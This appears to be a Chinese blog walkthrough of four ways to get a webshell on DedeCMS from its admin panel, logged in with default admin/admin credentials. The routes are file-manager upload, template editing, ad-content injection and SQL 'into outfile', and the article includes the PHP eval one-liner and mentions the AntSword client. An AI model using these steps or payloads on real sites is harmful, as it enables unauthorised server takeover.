当前位置: 首页 > article >正文

dedecms(四种webshell姿势)

步骤一,登录网站

步骤二,进入后台

账号密码同为admin

姿势一,通过文件管理器上传WebShell

登陆到后台点击 【核心】--》【文件式管理器】【文件上传】 将准备好的一句话代码上传...OK

1.我们先创建一个1.php上传

2.上传之后我们双击1.php

3.我们进入1.php页面

4.蚁剑连接

姿势二,修改模板文件拿WebShell

与WPCMS类似,直接修改模板拿WebShel..点击【模板】--》【默认模板管理】【index.htm】-->【修改】在文件修改中添加一句话代码.....如下

1.我们修改一下index.htm,index.htm修改为php在第一段添加<?php phpinfo();?>点击保存

2.点击 【生成】【更新主页HTML】--》将主页位置修改为【/index.php】--》
点击 【生成静态】--》点击 【更新主页】 再次访问站点首页可发现变化...

3.访问/dede/../index.php

姿势三,后台任意命令执行拿WebShell

点击【模块】【广告管理】--》〔【增加一个新广告】 --》在 【广告内容】 处添加一句话代码--》点击 【确定】

1.添加内容在广告内容添加一句话木马其他的谁便写

2.点击【代码】--》在图中显示的路径与站点进行拼接..访问测试!

3.访问/plus/ad_js.php?aid=1

4.蚁剑连接

姿势四,通过sql命令行工具获取webshell

点击【系统】【sql命令行工具】--》多行命令中输入select '<?php @eval($_POST[cmd]);?>' into outfile '+路径+创建文件名

1.输入命令

2.点击确定

3.确认有记录


http://www.kler.cn/a/308616.html

相关文章:

  • 论文阅读《BEVFormer v2》
  • 【C++】new操作符的使用说明
  • 数据结构与算法-前缀和数组
  • 如何在Puppeteer中实现表单自动填写与提交:问卷调查
  • 【JAVA】Java基础—面向对象编程:封装—保护类的内部数据
  • 红日靶机(七)笔记
  • 微服务之间远程调用实现思路
  • pdf文件转图片,base64或保存到本地
  • django 通过地址访问本地文件
  • Java原生HttpURLConnection实现Get、Post、Put和Delete请求完整工具类分享
  • 高级I/O知识分享【5种IO模型 || select || poll】
  • c++概念
  • windows启动jar指定jdk路径
  • 网页本地存储
  • 【C++】list 模拟实现
  • Vscode运行Python无法导入自己编写的包的解决方法
  • 后端开发刷题 | 最长上升子序列
  • odoo14 | 报错:Database backup error: Access Denied
  • MyBatis之手动映射
  • SSL认证解说
  • 个人随想-gpt-o1大模型中推理链的一个落地实现
  • Linux学习记录十四----------线程的创建和回收
  • Leetcode—1184. 公交站间的距离【简单】
  • Linux(CentOS8)服务器安装RabbitMQ
  • Python数据分析工具(一):Requests的用法
  • 游戏中的唯一id生成,防止合服id重复